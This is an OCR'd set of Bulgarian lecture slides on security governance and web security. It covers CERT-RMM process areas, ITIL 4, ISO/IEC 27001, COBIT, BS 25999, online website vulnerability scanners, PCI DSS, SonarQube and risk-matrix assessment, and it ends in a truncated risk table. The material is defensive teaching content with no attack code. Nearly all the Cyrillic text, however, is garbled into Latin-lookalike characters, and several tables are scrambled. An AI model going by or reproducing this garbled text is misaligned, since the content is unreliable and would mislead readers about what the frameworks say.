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yCTOWYUBOCT

||l-pa yacT Ha
Kypca

CUTYPHOCT

[-Ba yacT Ha
Kypca

Kak pa octaHeM B
HOPMaJIEH PeX1M
Ha paboTa, cnep
UHUMAEHT

Kak pa ce
npeanasum



BbnBegeHue

KakBo uie pasrnexgamMe Ha nekuumn?

MogensT CERT-RMM > CERT® Resilience Management Model > 4 kaTeropuu > 26 npoLecHu
obnactu

// CERT = Computer Emergency Response Team

MopenbT 3a ynpaBneHue Ha yctoitunoctta CERT® (CERT®-RMM) e nHoBaTuBEH U
TpaHcpopMMpaLL, NOAXOL4 KbM NPean3BUMKATENCTBOTO "YNpaBlieHne Ha onepaTuBHaTa
YCTOYMBOCT B C/TIOXKHW, pa3BuBaLLM CE PUCKOBE CPeau’, B KOUTO XMBEEM U YYM B MOMEHTA W
oKasBa KakBo, a He Kak.




BnBeaexue

UH)XeHepHH
ADM - [leduHupaHe v ynpaBfeHue Ha akTuBuTe

RRD - Pa3paboTBaHe Ha 131CKBaHMs 3a YCTORYMBOCT
RRM - YnpasneHue Ha U31CKBaHWATa 3@ YCTONYNBOCT

SC — HenpekbcHATOCT Ha ycnyrute

CTRL —YnpaBneHue Ha KOHTponuTe

RTSE — VIHXEHepuHr Ha yCTONYNBY TEXHUYECKM
peLleHuns

OpraHM3auuoHHH

EF —OpraHusaunoHeH Gokyc

COMP - CbotBeTcTBUA

FRM - YnpaBneHne Ha GUHAHCOBUTE pecypcu

HRM - YnpaBneHune Ha 4oBeLIKWUTE pecypcu

RISK — YnpaBneHue Ha pucka

COMM - KomyHuKkaLmm

OTA - OpraHn3aumoHHO 06y4YeHne 1 0OCBEAOMSIBAHE

OnepaTUBHU

PM - YnpaBneHue Ha xopaTa

KIM - YnpaBneHve Ha MHHopMaLmMa U 3HaHMS
TM — YnpaBneHue Ha TeXHONoruu

EC - KoHTpon Ha cpefiaTa (CbopbXeHnsTa)
AM - YnpaBfieHne Ha [oCcTbna

ID - YnpaBneHue Ha MAeHTUYHOCTUTE

IMC - YnpaBneHue 1 KOHTPOS Ha MHUMAEHTUTE
VAR - AHanua v agpecupaHe Ha ya3BUMMOCTUTE
EXD — YnpaBneHue Ha BbHLIHWUTE 3aBUCUMOCTH

MpouecHu

MON - MoHuTOpUHT (HabntoaeHue)

MA - /13mepBaHe 1 AHanu3

OPD - [e(uHnpaHe Ha OpraHn3aLMoHHK NpoLecH
OPF - ®okyc Bbpxy OpraH13aLMoHHIUTE NpoLecu




©
CERT-RMM kato 4act ot opraHusauusra

M HenHata CTpyKTypa

26 MpouecHu obnactn

1ISO27000x BS25999




Kakso e ITIL?

e ITIL (Information Technology Infrastructure Library) e pamka oT Hait-006py NPaKTUKK
3a ynpaBneHue Ha UT ycnyru (IT Service Management > ITSM). Ta nomara Ha
OpraHv3auunTe aa NpeaocTaBaAT kayecTBeHn UT yenyru, pokycupaiiku ce Bbpxy
HYXXAMTe Ha BU3HECA W KIIUEHTUTE MY.

e ITIL He e TOYHO CTaHAAPT MO CUrYPHOCT cam no cebe cu (kato ISO/IEC 27001), a no-
CKOPO € CbBKYMHOCT OT A06pY NPaKTKKK 3a ynpaBfieHne Ha MHOOpPMaLMOHHaTa
CWUTYPHOCT B KOHTeKcTa Ha T ycnyru. ToBa e Hai-CHIHO 3aCTbIMEHO B NPOLIECca, HapeyeH
Information Security Management (ISM). MocneaHnat uMa 3a Len a 3alnTaBa
nHpopmaumaTa B UT ycnyrute (KOHOUAEHLMANHOCT, UANOCTHOCT, JOCTBHOCT) KaTo
OCUrypsiBa CbOTBETCTBUE C BbTPELUHM NOJIMTUKMN U BBHIUHW perynawuun u MHTerpupa
CUrypHOCTTa B e)XeAHEeBHOTO ynpasneHue Ha UT ycnyrure.




©
OcHoshu wenw Ha ITIL B curypHocTTa

o Kondupenuuanuoct (Confidentiality) — camo ynbaHomoLleHn nna TpsbBa
fa MaT AOCTBN A0 MHpOpMaLMATa.

e LsanoctHocT (Integrity) — vHdopmaLmsaTa e TOYHa 1 HEMOKbTHATA.

e [loctbnHocT (Availability) — nHpopmaumaTa u cuctemnTe ca JOCTbMHMY,
KOraTo e HeobXoauMO.




. Cabp3anu ITIL npouecu

Risk Management — vaeHTUQuLMpaHe v ynpaBneHne Ha PUCKOBE
Access Management — ynpaBneHuie Ha npaBaTa 3a 40CTbI
Incident Management — peakuns npu MHUMOEHTY CbC CUTYPHOCTTA

Change Management — oLieHKa Ha pryCKoBeTe npu npoMenn B UT cpeaaTta




ITIL 4

C ITIL 4 (Hait-HoBaTa BEPCUS), CUTYPHOCTTA Ce pasrnex/a He KaTo OTAeNeH npoLec,
a kaTo yacT ot Service Value System (SVS) v npuHuuny, BrpageHu B LanaTta
opraHm3aums.
KnioyoBu akuentu B ITIL 4:
e Focus on value — curypHocTTa He TpsibBa fa Npeymn Ha brusHeca, a Aa ro
noaxpens.
Collaborate and promote visibility = npo3payHoCcT Npu MHUMAEHTY 1 PUCKOBE.
Continual Improvement - curypHocTTa Tpsi6Ba HENPEKbCHATO [a Ce afanTupa
KbM HOBMW 3amiaxu.
e Governance - rapaHTupa, 4e peLleHnaTa 3a CUrypHocTTa OTroBapaT Ha
OM3HEC CTpaTerunTe 1 NONUTUKMA.




ISO/IEC 27001

e Mex/ayHapomeH CTaHAapT ¢ GOKYC BbPXY CUCTEMUTE 3@ YNpaBIeHe Ha
MHOOPMALIMOHHATA CUTYPHOCT Ype3 hopManeH noaxod, 6asupaH Ha noMTUKY
N KOHTPOJTHW MEeXaHN3MU.

e [lpoLec 3a curypHocT > usina cuctema: ISMS - Information Security
Management System.

e (6xBallla Lsnarta opraHn3auns n M3MCcKBa NHTerpaLms ¢ yrpasBieHCcKu 1
TEXHWYECKM NPOLIECH.




. KoMbuHMpaH noaxoA;
ITIL 4 +1SO/IEC 27001

U3nonssame CUnHuTe CTPpaHU U Ha ABeTe PpaMKM:.

e SO 27001 3a popmanHa CTPyKTypa, NOAUTUKN 1 CEPTUDUKALMS;
e |[TIL 4 33 BHeapsABaHe Ha CUrypHOCTTa B exenHeBHuTe VIT ycnyrn n npoLecu.




Kak ce aonwnsart ITIL 4 v ISO/IEC 27001

06ekT

ITIL 4

ISO/IEC 27001

[TONUTUKN M KOHTPOIKN

Mopabpxa ru ypes npakTukata Information Security
Management

M3nckBa cb3gaBaHe Ha ISMS n nonuTtuku 3a
CUTYpHOCT

YnpaBneHue Ha pUCKoBe

ITIL 4 nognomara ypes Risk Management n Change
Enablement

dopMmaneH NpoLec no oLeHKa v TpeTUpaHe Ha
pucKoBe

WMHUMAEHTN CbC CUTYPHOCTTA

Incident Management + Information Security Incident
Management

Wanckea peakuus u peructpupaqe

YnpaBneHue Ha focTbna

Access Management

N3uckBa KOHTPON U perncTpupaqe Ha JoCTbN

06yyeHus n 0CBELOMEHOCT

Moxe fia ce uHTerpupa ypes Continual Improvement

YacT oT U3ncKBaHusATa

OoNTU ¥ MOHUTOPUHT

Mopabpxa ce ypes Measurement and Reporting,
Service Desk

3apbmxutendu 3a IS0 27001

Mogo6peHusa u aganTtaums

CunHo 3acTbneHo B Continual Improvement

Heob6xoauma yact ot ISMS




CobIT

CobIT (Control Objectives for Information and Related Technologies) e pamka 3a
yrpaBNeHne 1 KOHTPOJ Ha MHOOPMALIMOHHUTE TEXHONOM K, Cb3AaAeHa OT

COBIT ce 13non3Ba 0CHOBHO 3a MT ynpaBnexue (governance) — T.e. Kak
PBHKOBOACTBOTO M ynpaBuTennTe ocurypsasar, vye UT:

MopgKpens 6usHec uenurte

YnpaensaBa puckosete

U3non3Ba pecypcute epeKTUBHO

JlecTBa CHOOPaA3HO CHC 3aKOHOBUTE W PErynaTopHN U3UCKBAHUSA



https://www.isaca.org

OcHoBHu xapakrepuctuku Ha GoblT

XapakTepucTuka OnucaHue
dokyc YnpaBneHue u KoHTpon Ha UT (Governance)
CTpykTypa basupa ce Ha foMeiiHK, Lienu 1 npouecu

CUrypHOCT U CbOTBETCTBME

CWIHO 3aCTbMNEHU — 0COBEHO MONIE3EH NPH
GDPR, ISO 27001, SOX u ap.

MeTpuku n nHaukartopm

Mpeanara KPI-Ta n Mmogenu 3a 3psinoct (maturity
models)

Bpb3ka c apyru pamku

PaboTtu gobpe c ITIL, ISO, NIST, TOGAF u ap.




CobIT nocneana sepcus

1. Governance System - CycTema 3a ynpaBieHue, KoSTo obxBalla Beuyku AT
QYHKLMK

2. Governance & Management Objectives — 40 uenu, pasgenenun B 2 rpynu:
Governance Objectives — Hanp. "Ensure Stakeholder Transparency”

Management Objectives - kaTo "Manage Security”, "Manage Risk’, "Manage
Performance’
3. KomnoHeHTuTe Ha Governance System BK/1t04BAT:
e [lpouecy
o  (OpraHn3aunOHHK CTPYKTYpH
e VIHbopmauus
e KynTypa v nosefeHne
e [lonnTuKM v Npoueaypw
° YMeHund KOMMETEHLMNN




. CoblIT Hakpatko

CobIT Moxe fa g pasrnexjame Kato ‘paMkaTa 3a WepoBeTe’, KOATO:

1. CBbp3Ba busHeca c UT

2. [nepa Ha T KaTo Ha aKTWUB 1 PECYPC, KOWTO TpSbBa Aa ce ynpaBnsaBa
CTpaTerm4yecku

3. Yecto ce n3nonasa B kKombuHauma ¢ ITIL n ISO/IEC 27001, kaTo nocTaBa 'no-
rongmara KaptuHa'




BS 25999

BS 25999 npeacrtasndBa:

1. CtaHpapt, cb3aageH ot BS! (British Standards Institution)
2. TlpealwecTBeHMK Ha (MexxayHapoaeH cTaHaapT)

HeliHaTa Len: ynpaBneHune Ha 6usHec ycTounBocTTa (Business Continuity
Management — BCM) 1 rapaHTupaHe, 4e opraHusaLmsaTa Moxe aa GyHKLUMOHMPa
NPW KpU3u, NpeKkbCBaHUa U KaTacTpopu.



https://www.bsigroup.com/
https://www.bsigroup.com/documents/iso-22301/resources/bsi-bs25999-to-iso22301-transition-uk-en.pdf

' Cpasxenue mexay ITIL, ISO/IEC 27001,

CoslT n BS 25999

@)

Cranpapr dokyc Tun Llen WU3non3BaHe ¢ apyru
ITIL Ynpasnenue Ha UT ycnyru Pamka ¢ go6pu EdekTUBHO U cUrypHO COBIT, IS0 27001
NpaKTUKM NpeAoCTaBAHE Ha yCnyru
ISO/IEC 27001 NHbopmaLmoHHa curypHocT CraHpapt 3awuTa Ha faHHU 1 ITIL, COBIT, BS 25999
(ISMS) cuctemu, ceptTuduumpaqe
CoelT UT ynpaenexue (governance) Pamka MoapaBHsBaHe Ha UT ¢ IS0 27001, ITIL
Ou3Hec LenuTe
BS 25999 (unu ISO BusHec ycToituusoct (BCM) CraHpapt HenpekbcHaToCT Ha ISO 27001, ITIL

22301)

6u3Heca Npu MHUNAEHTK




. [IpuMepHa apxutekTypa

COBIT 3aaBa cTpaTernyecknTe N3UCKBaHUA U KOHTPOHW Lenu
ISO 27001 ocurypsiBa 3allMTa Ha MHpOpMaLMSTa U NpoLecuTe
ITIL peannanpa UT ycnyrute, BKIKOYUTENHO CUTYPHOCT U UHUNOEHTU

BS 25999 (111 1SO 22301) ocurypsiBa HENPEKBCHATOCT Ha KPUTUYHWTE YCAYTU NPY
Kpu3au




. Kora 1 3au10 Aa ©3non3ga
ITIL, ISO/IEC 27001, CosIT v BS 25999

CueHapui MoaxoAsLM paMKM U CTaHAapPTH
Wckaw pa ynpasnsiBaw UT cTpaTernyecku COBIT

Wckaw aa npepocTassAw ctabunHu UT yenyru ITIL

Wckaw aa sawuTtu nHpopmaumsTa ISO/IEC 27001

Wckal fa rapaHTupai yCTon4YnBoCT npu BS 25999 /IS0 22301

cpuBoBe




Bpb3kara Ha ITIL, ISO/IEC 27001,
CosIT n BS 25999 cve CERT-RMM

CERT-RMM (Resilience Management Model) moxem ga onuiiem kato
"HeBMAMMATA BPb3KA  MEX/Y BCUYKYM Te31 PaMKi, 0COOEHO KOraTo CTaBa AyMa 3a
YCTOMYNBOCT, MHLMAEHTK, YNIPaB/EeHKE Ha OnepaLymnTe U CUrypHOCT B Ab/I60YMHA.

OTHoBO: CERT-RMM (Resilience Management Model) e npoueceH Moaen, cb3naaeH
oT SEI (Software Engineering Institute) Ha Carnegie Mellon University,
NnpeaHasHayeH aa ynpasngBa onepauoHHaTa yCTOMYMBOCT Ha OpraHnsaumnaTa.
Tol BK/IKOYBA CUTYPHOCTTA, HeNpekbcBaeMocTTa 1 IT operations B efiHa 06LLa
pamKa 1 paboTu no nogodbue Ha CMMI mofena.




©  Bpwakara v ITIL, ISO/IEC 27001,
CosIT v BS 25999 cvc CERT-RMM

CERT-RMM (Resilience Management Model) He 3amecTBa apyruTe,
TO T MHTerpupa. Hanpumep, CERT-RMM kasBa: “IImaTe nv npouec
3a yNpaB/eHye Ha JOoCTbMa U e GopManunampan nu?’

> ToBa ce peanusupa c ITIL (Access Management) v ISO 27001
(koHTpON A.9).




. Kora ce usnonssa CERT-RMM?

AKO opraHu3auuaTa HHM:

e [lpuTeXaBa KpUTUYHM yCcayri (Hanp. 6aHKMpaHe, EHEPTeTUKa,
TENEeKOMYHMKaLMN)

e TbpCK LSNOCTHA 3PANOCT N0 CUTYPHOCT + YCTORYNBOCT

e Llenn aa O6eJJ,VIHl/I BCNYKWN PpaMKKN B €4nH MOZEJ 3a yINpaBJieHNE




' Hakpartko

COBIT ynpasndaBa cTpaternyecku, Ha BUCOKO H1BO
ITIL ce n3nbnHABa onepaTBHO

ISO 27001 ocurypsiBa cTaHAapTU3MpaHa CUrypHocCT
BS 25999 /1S0 22301 ocurypsiBa ycToM4nMBOCT

CERT-RMM cBbp3Ba BCUYKM TAX B € AUH YCTOMYMB, CTPYKTYPUPaAH MOJeN Ha
3panocT.
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orpaHuyaBaHe
Ha pucka

npeBeHU KA

yrpaBneHue
Ha pucka

pefyunpaHe
Ha PUCKa



BbnBegeHue

KakBo e npaBUM Ha ynpaXKHeHus?

e [lpunaraHe Ha Hay4eHOTO OT NeKLwuK, ToecT npuoxeHne Ha CERT-RMM B npakTukara.
e Pasrnexpare Ha BUJOBETE 3aLiMTK B yeb NPOCTPAHCTBOTO.
e (b3aaBaHe Ha pasnunyHm Policy goKyMeHTH,
criomaraty KubepCeurypHocTTa B e[jHa KOMMaHus.
e Kak fa onpefendame pucka u ja 3alUTUM pasinyHNTE aceTu.
e PaspaboTBaHe W NpeAcTaBsHe Ha PasnnyHu Temun 3a KnbepeurypHoCT no eKkunu.
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3awmTa Ha yeb caiTosere

Pa3HOBM OHOCTMU
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3awura Ha caifToBete

CurypHoCTTa Ha yebcaiTa n3nckBa 6AMTENHOCT BbB
BCUYKM aCMeKTW Ha An3aiiHa v N3Non3BaHeTo Ha
yebcaiTa. TyK Lie pa3rnefame OTKbAe MABaT 3annaxuTe 1
KakBO MOXeTe 1a HanpaBWTe, 3a [ja NOACUTYPUTE BALLETO
yeb NPUNOXKEHNE CpeLLly Hai-4ecTo CpeLlaHnTe aTaku.




BbnBegeHue

KakBo npeacTaBnsiBa CUrypHOCTTa Ha yebcanTa?:

HTepHeT e onacHo MACTO! PefjoBHO cyLlame 3a yebcaikToBe, KOMTO CTaBaT HEJOCTbIHY
nopaau ataku Tvn "denial of service" unn nokasgaluy MoandULMpaHa (1 YeCTo NOBPeaeHa)
MHAOPMALIMA Ha HaYalHUTe UM CTPaHuUKL. B apyrv cnyyanm MUNUOHK Naponu, UMeinn aapecu 1
LaHHV 33 KPeAUTHU KapTyi ca U3TEeKI B NYyO6IMYHOTO NPOCTPAHCTBO, U3Naraiku
NnoTpebuTenuTe Ha yeb caiToBe Ha (PUHAHCOB PUCK W... HEPSAAKO CpaM.

LlenTa Ha curypHocTTa Ha yebcaiiTa e Aa NpefoTBpaTh Teau (1M BCAKAKBW) BUJOBE aTaKMu.
[No-opuumnanHaTa AePUHULMA Ha CUTYPHOCTTa Ha yebcaiTa e AeCTBMETO/NpaKTMKaTa 3a
3allMTa Ha yebcaiiToBeTe OT HEOTOPU3MPAH A0CTbM, U3M0JI3BaHe, MOANMUKALMS,
YHULLIOXXaBaHe Unu HapyLuaBaHe.




BbnBegeHue

EdekTMBHATa CUrypPHOCT Ha yebcaiiTa U3UCKBA LANIOCTHU YCUIIMA 3 NPOEKTUPaAHE:

BbB BaLLETO Yeb NPUNoXeHne, KoHOUrypaumsaTa Ha yeb CbpBbpa, NONUTUKNTE 33 Cb3aBaHe U1
NOAHOBABAHE Ha NMaposin U Kofa OT CTpaHa Ha K/IMEeHTa. Bbnpekn Ye BCUYKO TOBA 3BYUH
MHOTO CTACKaLLo, 1o6paTa HOBMHA €, Ye ako M3Mos3BaTe yeb paMKa OT CTpaHa Ha CbpBbpa, T4
NOYTK CUTYPHO LLIE aKTMBMpPa N0 NoApasdupaHe” CTabunHu 1 4O6Pe 0OMUCIEHN 3aLLUTHN
MEeXaHu3MW, CpeLLly peauLa No-4ecTo cpeLlaHy ataku. lpyrv ataku MoraTt fa 6baat
CMeKYaBall, (pakTop Npu KOHQUTypaumsTa Ha Hallus yed CbpBbp, HaNpUMep Ypes akTUBMpaHe
Ha HTTPS. Hakpas, uma ny6/in4yHO AOCTBMHU MHCTPYMEHTM 3@ CKaHMpaHe Ha ySi3BUMOCTH,
KOWTO MOraT Aia HW NMOMOTHAT Aia pasbepeTe Aanu CTe HanpaBuan OYEBUAHN FPELLKM.




WHCTpYMEHTM 33 NpoBepKa
Ha yeb canT cMrypHocTTa

e https://sitecheck.sucuri.net > Moxere ga HanpaBuTe 6bP3 TECT 3a 3/I0HAMEPEH COPTYEP,
CTaTyC B YEPEH CNUCHK, MHXekTupaH CIAM v nospeaw.

e https:/hostedscan.com/?utm_source=geekflare&utm_medium=toplist&utm_campaign=online-scan >
OHMaWH ycnyra, KOATO aBTOMaTn3npa CKaHMpPaHeTo Ha YS3BMMOCTY 3a BCeKn 6U3Hec. Ta npeaocTaBs
n34yepnaTesieH Habop OT CKEHEPK Ha MPEXH, CbPBbPY 1 yebCcaiToBE 3a PUCKOBE Ha CUTYPHOCTTA.
YnpasnsBaiiTe pyckoBeTe Cy Ypes TabnoTo 3a YnpaBfieHne, OTHETU 1 CUTHAN.

// https://hostedscan.com/compliance

e Quttera: https:/quttera.com/ > ckaHvpa ye6caitTa 3a 3N10HamMepeHn Gainnose, NoA03PUTENHM (aiinoBe,
noTeHUuanHo nogo3putentn dainoee, PhishTank, 6e3onacHo cbpdupaHe (Google, Yandex) u cnncbk ¢
[IOMENHK 3N10BpeleH copTyep.




WHCTpYMEHTM 33 NpoBepKa
Ha yeb canT cMrypHocTTa

Intruder: https://www.intruder.io > moLyeH 061a4eH ckeHep 3a ya3BUMOCTY 1 HaMupaHe Ha ¢i1abocTu B
Lysnata MHpPacTpyKTypa Ha yeb npunoxeHusiTa. Tod npejnara MallvHa 3a CKaHupaHe 3a CUrypHOCT Ha HUBO
npaBuTeCTBa 1 6aHKu, HO 6e3 BUCOKa crioxHocT (Missing patches, Misconfigurations, Web application issues
such as SQL injection & cross-site scripting, CMS issues).

UpGuard: https://webscan.upguard.com/ > e BbHLIEH MHCTPYMEHT 3a OLEHKA Ha pu1cka, KOWTO 13Mo/i3Ba
Ny6/IMYHO JOCTBINHA MHOOPMALMS 3a OLeHKa.

SiteGuarding: https:/www.siteguarding.com/en > nomara ga ckaHmpame aomeiiHa 3a 3/10HaMepeH
COQTYep, YEPEH CMNNCHK Ha YebCaTOBE, MHXEKTUPAH CraM, U MHOrO Apyrin. CKEHepbT € CbBMECTUM C
WordPress, Joomla, Drupal, Magento, osCommerce, Bulletin u gpyru nnatgopmu.

Observatory: https://observatory.mozilla.org/ > Mozilla cbulo npefcTaBs MHCTPYMEHT, KOTO Nomara Ha
COOCTBEHMKA Ha CallTa [la NpoBepsiBa Pa3IMyHM eleMeHTW OT CUrypHOCTTA. Toi NOTBbPXAaBa 3aluTaTa
Ha OWASP xefbpu, Hail-1o6puTe NpakTUKK Ha TLS v n3BbpLUBa TECTOBE HA TPETM CTpaHK OT SSL Labs,
High-Tech Bridge, Security Headers, HSTS Preload v ap.




WHCTpYMEHTM 33 NpoBepKa
Ha yeb canT cMrypHocTTa

Detectify: https:/detectify.com/ > HanbiHO nogabpxaHa oT eTnyHK xakepu, ycnyrata Detectify sauTaBa
LOMENHN 11 yeb NpUNoXeHUa 1 npeasara aBToMaTna3npaH MOHUTOPVHE Ha CUTYPHOCTTA W aKTVBUTE 34
OTKpuBaHe Ha noseye 0T 1500 yA3BMMOCTH.

Probely: https:/probely.com/ > npegocTass cneuyanncT no BMPTYasHa CUryPHOCT, KOTO MOXeETe Jia
[06aBnTE KbM BaLLKSA eKun 3a paspaboTKa, eKnun no curypHocTTa, DevOps nnn SaaS busHec. Toii e
CKaHMpa BaLLeTo yeb NpUNoXeHUe 1 Lie Hamepy BCUYKMTE My yA3BUMOCTU. MoxeTe aa mucauTe 3a Probely
KaTO 3a CEMEEH NneKkap, KOTO AaBa NepuoanyHa AMarHoCTVKa U HW Ka3Ba KakBO a NpaBuMm, 3a Ja
OTCTPaHWM AaAeH NPo6nem.




WHCTpYMEHTM 33 NpoBepKa
Ha yeb canT cMrypHocTTa

Pentest-Tools: https:/pentest-tools.com/website-vulnerability-scanning/website-scanner > CkeHepbT 34

YSI3BMMOCT Ha yebcaiTa e n3yepnarteneH Habop OT MHCTPYMEHTW, Npefnarann ot Pentest-Tools, KonTo
BKJTHOYBAT PELLEHNME 3a CbOMpaHe Ha MHMOPMaLWs, TECTBAHE Ha yeb npunoxeHuns, CMS TecTBaHe, TeCTBaHe
Ha MHPpPaCcTpyKTypa v SSL TecTBaHe. [o-cneumanHo, CKeHepbT Ha yebcaiiToBe e NpefjHasHayeH aa 0TKpUBa
YEeCTO CpeLLlaHn YS3BMMOCTY Ha yeb NPUIoKeHnATa u NpobaeMmn ¢ KOHQUrypaLmuaTa Ha CbpBbpa.
ImmuniWeb: https:/www.immuniweb.com/websec/ > EfuH 0T nonynsipHuTe ckeHepm 3a CUrypHOCT Ha
yebcainToBe, ImmuniWeb, npoBepsiBa Baluns CaiT cnpsMo cnegHuTe cTaHaapti: CboTtBeTcTBMe ¢ PCI DSS 1
GDPR, HTTP xegbpw, BkntountenHo CSP, CMS cneunduyer tect 3a WordPress 1 Drupal caiitoBe, KakTo U
YSI3BMMOCTM Ha HMBO front-end.

WordPress Security Scanner: https://geekflare.com/tools > npesocrassa peaumia MHCTPYMEHTY 3a
TECTBAHE Ha HalUTe yeb NPUIOXKEHNS 3@ U3BECTHY YA3BUMOCTU.




Kakso e PCl DSS

(Payment Card Industry Data Security Standard)

PCI DSS (Payment Card Industry Data Security Standard) e Ha6op 0T cTaHgapTK 3a CUTYPHOCT,
pa3pabOoTeHN 3a fla rapaHT1parT, Ye BCUUKM KOMMNaHUK, KOUTO Npuemart, 06paboTBaT uim
CbXPaHsaBaT NnaTexHa MHQopMaLmMs, NogAbpXKaT 6e30nacHa cpeaa.

OcHoBHM KOoMnoHeHTH Ha PCI DSS BknioyBar:

CMI'ypHOCT Ha MpeXarTa: I3nckBa ce NHCTA/IMPAHETO N NOAADBPXAHETO Ha 3alWNTHA CTEHA 3a
3adliMTa Ha daHHUTE Ha KaPTOO4bPXATENUTE.

LLindppoBaHe Ha gaHHM: BCUYKM JaHHW Ha KapToAbpXaTenuTe TpstBa Aa 6baaT WMdPOBaHK, KOraTo

Ce CbXPaHABAT WX NPeAaBAT MO MPEXN.




Kakso e PCl DSS

(Payment Card Industry Data Security Standard)

OcHoBHM KOoMnoHeHTH Ha PCI DSS BknioyBar:

NocTbn Ao AaHHM: [JOCTBNBT 0 JaHHM Ha KapToabpxaTenuTe TpsA6Ba Ja 6bAe orpaHuyeH 4o camo
TE3M, KOUTO MMaT HYX/a OT Hero.

MOHMTOpMHI’ U TeCcTBaHe Ha MpeXaTa: HEO6XO,£I,I/IMO € [la Ce N3BbpPLUBa PEAOBEH MOHNTOPUHI Ha
MPEXUTE N CUCTEMUTE 34 l/I,D,eHTl/ICbVILU/IpaHe Ha YA3BMMOCTN.

MonuTukK 3a curypHocT: OpraHnsaLunTe TpSA6Ba Aa MMAT NMUCMEHN NOAUTUKM 3@ YNPaBeHNe Ha
CUIYpHOCTTA Ha MHbopMaLMaTa.




KakBo 03HayaBa

"Website PCI DSS Gompliance"?

KoraTo eguH yebcaiit e "PCI DSS Compliant”, ToBa 03HauaBa, Ye TOii e BHeAPWT HEOOXOAUMUTE
MEPKM 1 NPaKTUKM 3a 3aL1Ta Ha NnaTexHata MHhopMaLms Ha KnneHTuTe. ToBa € 0CO6EHO BAXHO
3a eNeKTPOHHATa ThProBus, KbAETO JaHHNTE HA KapToabpXaTeNNTe YeCTO Ce NpeaaBaT OHNalH.
Monsu ot PCI DSS Compliance:

3awumTa Ha KnMeHTUTe: HamangaBa PUCKa OT Kpa>+<6a Ha JINYHW OaHHN.
JJ,OBepue Ha K/IMeHTUTE: YBenyaBa JOBEPUNETO Ha KJITMEHTNTE, KOrdaTO 3HAAT, Y€ TEXHUTE jdaHHW Cd

3aLLUNTEHN.
PerynaTtopHu usncKBaHua: [lomara 3a Cna3BaHe Ha 3aKOHOBUTE U3WNCKBAHUA 11 N36srBaHe Ha

rnoowm.




WHCTpYMeHTH 3a NpoBeEpKa Ha Koja

e command-line NHCTPYMEHT, KOMTO BV NMO3BO/ISABA a B3aMMO/e/ICTBaTe CbC
, NONynApHa HﬂaTd)OpMa C OTBOPEH KO 3a HEMPEKDbCHATA MNPOBEPKa Ha Ka4eCTBOTO Ha

Koza.

Toll N03BONsIBa CTAaTUYEH aHaNN3 3a ObroBe, YA3IBUMOCTU N HEMPUATHN KOAOBE BbB BalUA MPOEKT.

// OLLie eHO NoMe3HO 1 KpaTko Kak fa nHcTtanupate SonarScanner GLI kKnneHTa Ha
// Windows, Linux n macQOS.



https://docs.sonarsource.com/sonarqube-server/latest/analyzing-source-code/scanners/sonarscanner/
https://www.sonarsource.com/products/sonarqube/
https://medium.com/novai-devops-101/how-to-install-sonarscanner-cli-client-on-windows-linux-and-macos-94b033f719c4

WHCTpYMEHTH 3a npoBepKa
Ha yeb canT cMrypHocTTa

YnpaxHeHue 01 u 02 no ekunu




@
Vnpasnexue Ha pucka v MaTpuLa

Ha pucka (RISK matrix) o

RISK maTtpuuara e oule ejuH MHCTPYMEHT, KOWTO Ce M3M0J3Ba 3a OLeHKa ¥
yrpaBeHNe Ha PUCKOBE B PA3/IUYHI 061aCTH, BKIKOYUTENHO B COPTYEPHOTO
MHXEHepCTBO. T4 N03B0OSABa BM3YyaslHO NPefCcTaBAHE Ha PUCKOBETE, KaTo
nomara Ha ekunuTe aa uaeHTUOULMPAT, OLEHST U NPUOPUTU3NPAT PUCKOBETE,
CBbp3aHN C NPOeKTuTe.



https://sectara.com/news/risk-assessment-matrix/

®  YNpaBieHvie Ha pUCKa M MATpUL
Ha pucka (RISK matrix)

OcHoBHM KoMnoHeHTH Ha RISK maTpuuyarta

OueHKa Ha BeposiTHOCTTa: CTeNEHTa, B KOATO PUCKBT MOXe Aa ce peannanpa. O6UKHOBEHO ce
oLeHsaBa no ckana (Hanpumep oT 1 40 5), KbAeTo 1 e "MHOro MaJjika BepoSITHOCT' 1 5 € "MHOro
BMCOKa BEPOATHOCT .

OueHKa Ha Bb3,eUCTBUETO: [10C/IeCTBMATA OT PeaNn3nMpPaHeTo Ha pucka. CbLio ce oLeHsBa Mo
CKana, KbfeTo 1 e "He3HaunTenHo Bb3AenCcTBME" U 5 e "KaTacTpodaliHO Bb3eicTBume .

PuckoBa cToMHOCT: Ypes KOMOVHIMPaHE Ha OLEHKNTE 3a BEPOSATHOCT W Bb3AeNCTBYE (Hanpumep,
KaTO CE& YMHOXaT), Ce NoNy4YaBa puckoBaTa CTOMHOCT. ToBa nomara 3a npuopuTU3npaHe Ha
DUCKOBETE.




YnpasJieHue Ha pUCKa U MaTpuLa
Ha pucka (RISK matrix)

OcHoBHM KoMnoHeHTH Ha RISK maTpuuyarta

Martpuua: PvckoBeTe ce npefcTaBAT B MaTpuLa, KbaeTo no oc X e BepoATHOCTTa, anoocY e
Bb3AeNCTBMETO. BCsKa KNeTKa B MaTpuLaTa NpecTaBaBa pasinyeH puck, KOeTo no3BosaBa
ObP30 NAEHTUOULMPAHE Ha KPUTUYHUTE PUCKOBE.




YnpassieHKe Ha pucKa U MaTpuLa
Ha pucka (RISK matrix)

Quantitative

Negligible | Moderate | Extensive

very much less than a
Lichance of

Qualitative |
Likelihood | _Likelihood Insignificant
: d Has occurred on an
s expectedto]  annual basis in this
occurinmost| organisation in the Almost 6
: past of circ ces| Certain
s are in train that will
cause itto happen
Has occurred in the
last few years in this
organisation or has
Will probably | ocourred recently in
ocour in most other similar Lik
circumstance|  organisations or .'!
s circumstances have
occurred that will
g cause it to happen in
(<) Has occurred at least
o~ - once in the history of
— ight occur | this organisation or is
a at some time | considered to have a Possible
x 5% chance of
— ing i
- Has never occurred in
this organisation but
4 - has occurred
uld oceur | infrequently in other 3
at some time | similar organisations Unlllnly
oris considered to
have a 1% chance of
occuring in the nexst
Is possible but has not
May oceur occurred to date in
onlyin any similar
enceptional | organisation andis Rare 2
i ance | consideredto have
s

Significant
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e Asset and : -
Threat Vulnerability consequences Risk Solution
Servers.
System failure — Air conditioning All services (website, High Bu 2
: > : ; : y a new air
overheating systemis ten email, etc.) will be (potential loss conditioner
in server room years old. unavailable for at least of $50,000 per :
High High 3 hours. occurrence) (cost::$3,000)
Critical
Malicious human
(interference) — Firewall configured Website. Moderat
distributed properly and has good Website will be (potential loss of Monitor
denial-of-service DDOS mitigation. unavailable. $5000 per hour of firewall
(DDoS) attack Low Critical downtime)
High
s . Servers.
Natural disaster — Server room is on : : 2
a ﬂa P di?w g ¢ the 31 ﬂoo?. All services will be Very low No action
R Very low unavailable. needed
Critical
g Permissions are All files on a file share.
